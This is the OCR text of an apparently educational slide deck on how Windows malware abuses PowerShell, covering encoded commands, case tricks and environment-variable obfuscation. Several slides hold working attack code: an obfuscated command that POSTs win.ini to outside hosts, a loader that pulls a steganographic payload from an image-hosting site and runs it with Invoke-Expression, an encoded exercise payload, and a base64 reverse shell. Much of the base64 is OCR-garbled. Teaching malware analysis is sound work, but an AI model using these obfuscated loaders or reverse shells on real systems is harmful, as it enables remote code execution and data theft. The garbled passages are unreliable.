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PowerShell

INtroduction

..and why it's loved by many Windows malware.
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Basics

Let’s start with the basics




BN gy

windows Powershell _ _xwﬂm;;
copyright (C) Microsoft Corporation. All rights reserved

Try the new cross-platform Powershell https://aka. ms/pscores
PS C:\Users\34146> g

< you've
probably
seen this.
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Copyright (C) Microsoft Corporation. All rights reserUE&
Try the new cross-platform Powershell https://aka. ms/pscnneG

PS C:\Users\34146> cmd
Microsoft windows [version 10.0.19042.421]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\34146>g

..and yet
you always
do this.

‘‘‘‘‘‘



=/ Run

Type the name of a program, folder, document, or
Internet resource, and Windows will open it for you.

cmd

I
V ‘

OK

Cancel

Browse...
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B Temp X B

Still@STILL-DESKT
)

OP  ~\AppData\Local\Temp

Data query

= a X

[15:51]



B Temp X [ = a

4 StilleSTILL-DESKTOP JENAppDataNIccatNTEnpD [15:56]
)

Service
management




5 Te X i 5
[16:00]

B Temp v
St111@STILL-DESKTOP FSNAPPDATENLEGEATNTERpY
)

Easy access
to low-level
Windows

information




And so
much more!
..we'll get into that later.
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DIFFERENT TYPES OF
POWERSHELL

PowerShell
(posh/powershell)

- Shippedwith every
Windows 7 and above

- Default shell in
Windows 10

©

PowerShell Core
(pwsh)

Re-implementation
of PowerShell in
NET Core
Cross-platform!



WHAT YOU NEED TO
KNOW

® PowerShell commands are called “cmdlets”
® Everycmdlet consists of Verb-Noun
O Only a set of verbs are approved (Get-Verhb)

® Not case sensitive (Ls | FoReACh-0bJecT {$_1})

® Ability to create aliases (? -> Where-0bject)

e .NET-based Rai e :
o Ability toexecute any supported .NET assembly _,
O Call various BCL methods and properties ’:':‘

® Backtick (7) = escape character o SEE ,'. '..’.':‘
el : ,



USEFUL ALIASES
ARE CREATED BY
DEFAULT

ls -> Get-ChildItem

cat -> Get-Content



Fileless
Y EWE LS

Threat actors love PowerShell!




Encoded Commands

Complex script? Just Base64 it!

........
.

sle. 'y
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Powershell.exe /?

-EncodedCommand
Accepts a base-64-encoded string 5?@}» -
version of a command. Use this i 2zm
parameter R e
to submit commands to Windows T e
PowerShell that require complex
guotation S
marks or curly braces. s e T SO

.
C.‘
"
RS
B
o.ﬁ
-~
e
i
.



So...

$c2Stations = "https://ex i
ample.com", "https://cont g
0so.com";$c2Stations | %{ R
gc $env:windir\win.ini | il
iwr -Method Post $ } ss.uv:r%g



Can become...

powershell.exe -noprofile -

enc "JABjADIAUWBOAGEAdABpAG8AbgBzACAA
PQAgACIAaABOAHQAcCABzADoALwAVAGUAeABhA
GOACABSAGUALgBjAGBAbQA1ACWAIAAT1AGQgAdA
BOAHAACwWAGACBALWB jJAG8AbgBOAGBACwWBVACA
AYwBVAGOAIgA7ACQAYwAyAFMAdJABhAHQAaQBvV et R e e
AG4AcwAgAHWAIAATAHsSAZwB jACAAJAB1AG4Ad ,gf.*:}f:fiﬁﬁy

gA6AHCAaQBUAGQAaQBYAFWAdWBPAG4ALGBPAG S e
4AaQAgAHWAIABpPAHCACgAGACOATQBLAHQAGAB o o o

VAGQATABQAGSACWBOACAAJABTAHOA" Sl s

.....




Case Insensitivity

PowerShellcommandsare case-insensitive!

T

) "3';'"




So...

$c2Stations = "https://ex i
ample.com", "https://cont g
0so.com";$c2Stations | %{ R
gc $env:windir\win.ini | il
iwr -Method Post $ } ss.uv:r%g



Can become...

$C2sTaTiONs = "Https://ex Pisoas
ampLe.COM", "https://COnT .afgﬁgfﬂ:
05S0.cOM";$C2sTAtIonS | S{ o
gCc $ENV:wINDIr\wiN.INI |
iWR -meThod posT $_}

.....

----



Universal Env Vars

Windowsenvironment variables can
sometimes contain stringsthat are almost
always the same.

-------
.

sle. 'y
.........




For example...

$env:ProgramFiles

-> "C:\Program Files“
$env:comspec

-> "C:\WINDOWS\system32\cmd.exe"




So...

Input:

$env:programfiles[9] + $env: : :
comspec[12] + $env:comspec[9 e
1 + $env:comspec[14] + $env: i
programfiles[7] e
st



.NET CALLS

PowerShellcan make .NET calls.

o 9.id
P



Fileless
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And it's pretty close to real-
world attacks, too!




With PowerShell...

..we can craft something like this.

........
.

sle. 'y
.........

T

: "3';'"




powershell.exe -noprofile -

enc "JAB3AGMAIAA9ACAAWwBzAFKAUwBOAEUATQAUAG4AZQBOAC4AVwWBFAEIAQwBMAEKAZQB
OAHQAXQA6AD0AbgBTAFcAKAAPAD SATAAKAEYAcwAgADOAIABbAFMAWQBz AHQARQBNAC4AaQB
PAC4AbQB1AEOAbwBYAFKAUWBUAHIARQBBAGOAXQAKAFCcAYwAUAGQATWB3AE4ATABVAGEAZAB
KAGEAJABBACgAJwBoAHQAVABWAFMAOgAVAC8BAJwArACAAJABTAG4AVgA6AHAACgBVAGCAUQB
BAEOARgBJAGWAZQBzAFsAMQAYAFOAIAArACAAJwWAUAGKAYgB1AC4AJwAr ACAAJABFAG4AdgA
6AEMAbwBt AHMACABFAEMAWWAYADAAXQAr ACCATWAVAFQAMgB2ACcAKwBbAEMASABBAFIAXQA
1ADcAKwANADYAMgBaAC8AZQB2AEKAbAAtAFAAQQBZAGWATWBBAEQALgBQACCAKwWAKAEUATgB
2ADOAYwBVAEOACwBQAGUAYwBbADUAXQArACAAJwBNACCAKQA7ACAAJABGAFMALgBzAGUARQB
rACqgAMABYADIAZAA3ADgALAAQAF sAUWB5 AHMAJABTAGOALgBJAESALgBTAEUARQBLAESAUQB
JAEcAaQBUAFOAOgAGAETARQBNAEKAbgApADSAIAAKAGCcAegBrAGsAagB3ACAAPQAgAFsAQgB
ZAHQAZQBbAFOAXQA6ADOATgBFAF cAKAAWAHQANAA3ACKAOWAgACQAZgBzAC4AUgBLAGEARAA
0ACQAZwB6AGsAawBgAHCALAAgADAALAAgACQAZWB6AGsAawBgAHCALgBSAEUATgBHAFQAaAA
pPADsSATAAKAGYAcwAuAGMAbABVAHMARQAOACKAOwWBbAFMAWQBTAHQARQBNAC4AVABLAFgAdAA
UAGUATgB j AEBARABpAG4AZwBdADoAOgBVAFQARgA4AC4ARWBFAFQAUWBUAHIASQBUAECAKAA
kKAGcAegBrAGsAagB3ACKATABIAGUAWAA="



PS C:\Users\34146\source\repos\Invoke-obfuscation> powershell.exe -noprofile -e
nc "JAB3AGMAIAA9ACAAWWBZAFKAUWBOAEUATQAUAG4AZQBOAC4AVWBFAEIAQWBMAEKAZQBOAHQAXQA
6ADOAbgB1AFCAKAAPADSATIAAKAE YACWAGADOAIABDAFMAWQBZAHQARQBNAC4AaQBPAC4AbQBTAEOAbW
BYAFKAUWBUAHIARQBBAGOAXQAKAFCAYWAUAGQATWB3AE4ATABVAGEAZABKAGEAJABBACgGAIWBOAHQAV
ABWAFMAOgAVACSAJWArACAAJAB1AG4AVgA6AHAAchVAGCAUgBBAEOARgBJAGWAZQBZAFSAMQAyAFOA
IAArACAAIWAUAGKAYQB1AC4AIWArACAAIABFAG4AdgABGAEMAbWBTAHMACABFAEMAWWAYADAAXQAIACC
ATWAVAFQAMgB2ACCAKWBbDAEMASABBAFIAXQALADCAKWANADYAMgBaAC8AZQB2AEKADAATAFAAQQBZAG
WATWBBAEQAL gBQACCAKWAKAEUATgB2ADOAYWBVAEOACWBQAGUAYWBDADUAXQArACAAJWBNACCAKQA7A
CAAJABGAFMALgBZAGUARQBrACgAMABYADIAZAA3ADgALAAgAFSAUWB5AHMAdAB1AGOALgBJAESALgBT
AEUARQBLAESAUgBJIAECAaQBUAFOAOGAGAEIARQBNAEKAbgAPADSATIAAKAGCAegBrAGSAagB3ACAAPQA
gAFSAQgBZAHQAZQBbAFOAXQAGADOATGBFAFCAKAAWAHGANAA3ACKAOWAQACQAZgBZAC4AUGB TAGEARA
AOACQAZWB6AGSAaWBJAHCALAAGADAALAAGACQAZWBH6AGSAAWBAHCALgBSAEUATgBHAFQAAAAPADSAT
AAKAGYACWAUAGMAbABVAHMARQAOACKAOWBbAFMAWQBTAHQARQBNAC4AVAB TAFGAdAAUAGUATGBJAESA
RABPAG4AZWBJADOAOgBVAFQARGA4AC4ARWBFAFQAUWBUAHIASQBUAECAKAAKAGCAegBrAGsAagB3ACk

ATABIAGUAWAA="



Okay, WHAT?

Let's break this basec4-encoded string
down

......
. . o
sle. 'y
......
. L




$wc = [SYStEM.net.WEBCLIeNt]::neW(); $Fs = [SYstEM. 10.meMorYSTrEAm]$Wc.d
OwNLoaddatA( 'htTpS://'+ $enV:progRAMFIles[12] + '.ibb.'+ $Env:ComspEC[20
]+'O/T2v'+[CHAR]57+'622/evIl—

PAY1OAD.P '+$ENv:coMsPec[5]+ 'g'); $FS.seEk(0X2d78, [System.IO.SEEKORIGin
1::BEgIn); $gzkkjw = [BYte[]]: NEW (0x47); $fs.ReaD($gzkkjw, 0, $gzkkjw.l
ENGTh); $fs.closE();[SYStEM.TeXt.eNcODing]::UTF8. GETSTrInG($gzkka | IeX



$wc = [SYStEM.net .WEBCLIeNt]::neW()

$Fs = [SYsStEM.10.meMorYSTrEAm]$Wc .dOwNLoaddatA( 'htTpS://'+ $enV:progRAMF
Iles[12] + '.ibb.'+ $Env:ComspEC[20]+'0/T2v'+[CHAR]57+'62Z/evIl-
PAY1OAD.P '+$ENv:coMsPec[5]+ 'g')

$FS.seEk(©®X2d78, [System.IO.SEEKORIGin]::BEgIn)

$gzkkjw = [BYte[]]::NEW(0x47)

$fs.ReaD($gzkkjw, 0, $gzkkjw.LENGTh)

$fs.closE()

[SYStEM.TexXt.eNcODing]: :UTF8.GETSTrInG($gzkkjw)|IeX



$wc = [sYStEM.net.WEBCLIeNt]::neW()

$Fs = [SYstEM. 0. meMorYSTrEAmiEWc dOwNLoaddatA( 'htTpS://"'+ $enV:progRAMF
Iles[12] + '.ibb.'+ $Env:ComspEC[20]+'0/T2v'+[CHAR]57+'62Z/evI1-
PAY1OAD.P '+$ENv:coMsPec[5]+ 'g')

$FS.seEk(©®X2d78, [System.IO.SEEKORIGin]::BEgIn)

$gzkkjw = [BYte[]]::NEW(0x47)

$fs.ReaD($gzkkjw, 0, $gzkkjw.lENGTh)

$fs.closE()

[SYStEM.TeXt.eNcODing]: :UTF8.GETSTrInG( $gzkkjw)|IeX




$wc = [sYStEM.net.WEBCLIeNt]::neW()

$Fs = [SYstEM.10.meMorYSTrEAm]$Wc .dOwNLoaddatA( 'htTpS://'+ $enV:progRAMF
Iles[12] + '.ibb.'+ $Env:ComspEC[20]+'0/T2v'+[CHAR]57+'62Z/evI1-
PAY1OAD.P '+$ENv:coMsPec[5]+ 'g')

$FS.sekEk( 0X2d/8, [System.l0.SEEKORIG1n]::BEgln)
$gzkkjw = [BYte[]]::NEW(0x47)

$fs.ReaD($gzkkjw, 0, $gzkkjw.lENGTh)

$fs.closE()

[SYStEM.TeXt.eNcODing]: :UTF8.GETSTrInG( $gzkkjw)|IeX




'"htTpS://'+ $enV:progRAMFIles[12] + '.ibb.'+ $Env:C
omspEC[20]+'0/T2v'+[CHAR]57+'62Z/evIl-
PAYLOAD.P'+$ENv:coMsPec[5]+ 'g'



"htTpS://'+ $enV:progRAMFIles[12] + '.ibb.'+ $Env:C
omspEC[20]+'0/T2v'+[CHAR]57+'62Z/evIl-
PAYLOAD.P'+$ENv:coMsPec[5]+ 'g'

1

“htTpS://1.1bb.c0/T2v962Z/evI1-PAYLOAD.PNg’




®About - EN~

imgbb

Upload and share your images.

Drag and drop anywhere you want and start uploading your images now. 32 MB
limit. Direct image links, BBCode and HTML thumbnails.

START UPLOADING

@ Upload

'ﬂSign in

‘Create account
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imgbb

Upload and share your images.

Drag and drop anywhere you want and start uploading your images now. 32 MB
limit. Direct image links, BBCode and HTML thumbnails.

START UPLOADING

Difficult to block due to popularity
and legitimate use cases

@ Upload =ISign in

ACreate account
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Checksum  Search (0 hits)

sjnsay

Algorithm Checksum Usage

Steganography!

Expected result:
x

Offset(h): 2D78 Block(h): 2D78-2DBE Length(h): 47



Code execution!

$wc = [SYStEM.net .WEBCLIeNt]::neW()
$Fs = [SYsStEM.10.meMorYSTrEAm]$Wc .dOwNLoaddatA( 'htTpS://'+ $enV:progRAMF
Iles[12] + '.ibb.'+ $Env:ComspEC[20]+'0/T2v'+[CHAR]57+'62Z/evIl-
PAY1OAD.P '+$ENv:coMsPec[5]+ 'g')
$FS.seEk(©®X2d78, [System.IO.SEEKORIGin]::BEgIn)
$gzkkjw = [BYte[]]::NEW(0x47)

$fs.ReaD($gzkkjw, 0, $gzkkjw.LENGTh)
$fs.closE()

[SYStEM.TeXt.eNcODing]: :UTF8.GETSTrInG( $gzkkjw)] IeX




EXERCISE

Find out what the threatactoris
tryingto do and get the flag!




Code e

Powershell.exe -nop -
enc "SQBFAH AKABbAﬂMAVABxAEkATRBnAF®A02A6AGoAwaJAG4AKAAgACcAJwAsACgAWWB AEUARWBTAHgAXQA6ADoATQBBAFQAYwBOAEUAC
onACAAIgAg CKAIAApACcAJAANnACWAKQA2ADU XQByAGEASABDAFsAKwA3ADUAXQEx GEASABDAF sAKwAOADUAXQBYyAGEASABDAF sAKAAoOAEU
AYwBBAGWA cABLAF IALgApADQAMwBAAHIAYQBI AEMAWwWBAAGCcATgBJAHIAVABTAF sALAAnAF gAMgB6AC cAKABFAGMAQQBs AHAAZQBSAC4AKQANA
FRAMEBGAGCAZQBWAGOAL AnAC sAJwBRADMAW BMAGOAbgBKAC8AbQBVAGMAJwArACcALgB AHUAZwANACsAJwBtAGKALgBpACCcAKwANnAC8ALWA
6ACcAKwAnAHMACABOAHQA JwArACcAaABYAD I ﬁgAgAD@ JwArACcAIABsACCAKwWANAHI VéBlAGcAYQAnACsAJwBtAG OAA5ADYAJwWAOACQATI 0o .
AApAC cAJwBUAE KATwBgACOAJwBYAC cAKwBdAD LMM%mmMMTWMMM%MM%WM%WW%M%mMMMwMMWBFI eony) el UG
AdABTAF sAKAAgQACgATAAMACIATAAs ACAAIwAuACcATAAs ACAAJwBSAE kAZwBI AFQAVABPAEwWARQBmAHQA JwWAgACKATABSACAARgBPAHI RBBhA SO Y
GMAaAAtAGSAQRB AGUAYwB@ACAAewAkAF8ALRBWAGEAbABlAEUAfQQRACkAIAA ACAAKQA7AC4AATAA0ACAAIJABFAE4AdgA6 AGMATWBt AFMACAB
FAEMAWWA®ACw/ M8A1ACWAM A1AFOALQBgAGBASQBOACCcAJwApACAAKAA AG4AZBBXACOAbWBiAEoAZQBDAFQAIAAgAH eQBTAFQAZQBNAC4Aa
QBPAC4AcwBUAFIAZQBBAEO. CEBFAEEARABlAFIAKAAoACAAEgBlAFcAL BvAGIASgBLAEMAVAA AEkAbwAuAEMATwBNAFAAﬁEBFAHMAUwBJAGS
ATgAuAEQARQBmMAGWAQQBOAEUA cwBUAF IARQBhAGOAKABDLAE kKAbwAuAEOAZQBt AG8AUgB5 AHMAVABY AGUAYQBt AFOATABbAEMAbwBOAHYARQBYA
FQAXQAG6ADOAZ BSAE8ATQBiAEEAUwBlADYANABTAFQAUgBJAE4AZonACAAJwBVADYAawBlAFMAUABCAFAAUwB6AEIATQBUAEsAOQBWAHMARRB
WAF EAQwB2 AEMAbwBOAHYAQwBJ AHQAegBSAHCcAaQBRAGQ UwBHAGEAﬁRBKADIAZgBHAEcANQBXAGIAeABhAFkAWQAlAHIAa Bt AHUACABXAGEAM
QBTAGCAQQA9ACCcAKQAgACWATIABDOAG TwAuAEMAwaNAHAAchlAF cwBpAG8 bgAuAGMATwBNAFAAchFAFMAch AE8 §gBtAE8AZABFAF®
AOgA6AGQAZQBDAEBAbQBQAFIARQBTAHMAKQAPACAALABbAFQARQBYAHQALgBFAE4AYwBvAEQAaQBUAE cAXQA6AD0AQQBzAEMASQBPACKATIAAPA
C4AU BFAEEAZABUAG8ARQBuAGQAKAAgACkAOwAkAHcAchgAD®AIABbAFMAeQBzAHQAZQBtAC4AT BlAHQALRBXAGUAY BDAGwAaQBLAG4AdAB
dADoAO0gBuAGUAdwA0ACKAOwAKAHcAcwAuAEQAbwB3AG4AD. BVAGEAZABGAGkAbABlACRAJAB AGOAYQBNnAGUAVQByAGwW LAARAFSAUWBSAHMAd
ABLAGO thJAE8ALRBQAGEAdABoAFOAO A6AECAZQBOAFQAZQBtAHAARRB AGwAZQBO GEAbBBlAC AKQAgACKAOwBpAGUAeAAgACgAKABHAGU
AdAAtAEMAbwBtAGOAYQBUAGQATAAOACIAdwBSACIAIAArACAAKAAOAGC aBA AEUAbgBWAD oAcABVAGIAYABMAGAAaQBjACKALgB2AGEADAB1A
GUAWwAgACgAWwBNAGEAdABOAFOAOgA6 AHIAbwB1AG4AZAA0ACAAWWBIAG4AAdABAAD 0AOgBNAGEAeABWAGEABABLAGUATAAvVAD EAMAAXAD TIAMwA
5ADMAM2AXACkAIAAtACAAOQApACAAKWAgACgAKABbAGkAb BOAFOA02A6AEOAYQB4AFYAYQBSAHUAZQAgACUAIABbAGkARgB@AEOAO AGAE0Aa
QBuUAFYAYQBs AHUAZQAgACUATIABbAGKAbgBOAF0AWwBj AGgAYQBYAF O MgApACkAXQAgACkAIAArACAAIgBOAGUAIRArAC WwB]AGE YQExAF®
ANAALACAAKwATAEBAdQAqACIAKQApAC4AQwBt AGQABABL HQAQngAG4 ZABpAG4AZWAgACSAIAANACIAIwAgACSATIAA0ACgAZwB2 ACAAKAANA
HAATwBMAC cAKwAgAC gAKABb AGwA bwBUuAG cAXQA6AD0ATQBhAHgAVgBhAGWAdQBTACOAWWBPAGAAJABAAD 0AOgBNAGEAeABWAGEADABLAGUAKQA
RéHgﬁBinéHgﬁcgBpAG4AZonACkAWWAxADYAXQApACAAKwAgACcAYQBnACcAKQApAC4AdgBhAGwAdQBlACkAIAArACcAIgAnACkAIAA+ACAAJ

u S e n




EXTRAS




REVERSE SHELL

powershell.exe -nop -
enc "JABOAGMACAA9A sATRBlAHQALgBTAGSAYwBrAGUAdABzAC4AV
ABjAHAAQwBSAGKAZQBUAHQAXQAG6ADO ERBIAHcAKAALAGwAwa AGE
AbAB0OAGBACwBOACTIALAAXADMAMWA3ACKAOWAKAHMAJAA9ACQAJAB A
HAALRBHAGUAdABTAHQAcXBlAGEAbQAoACkAOwAkAGIAch9AFsAY B
5AHQAZQBbAFOAXQAG6ADO bgBlAHcAKAA2ADUANQAzADUAKQA7AHc a
ABpAGwWAZQA0ACgAJABPADO JABzAHQALXBSAGUAYQBkAC AJAB1AHM
ALAAWACWAJAB1 HMALXBMAGUAb BnAHQAaAApACKAIAAt G4AZQARA
DAAKQB7ACQAZABhAHQAYQA9AFs VABIAHRAdAAuAEUAbRB AGBAZAB
pAG4AZwBdADOAQ BVAFQAR2A4AC4ARWBI HQAUwBOAHIAaQBUAGCAK
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7ACQAdABjAHAALgBDAGWAbwBZzAGUAKAAPAA=="
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THANKS!

Website stillu.cc

Email business@stillu.cc
Twitter @StillAzureH
GitHub @Still34

Telegram @StillH

CREDITS: This presentation template was created by
Slidesgo, includingicons by Flaticon,and infographics &
images by Freepik.
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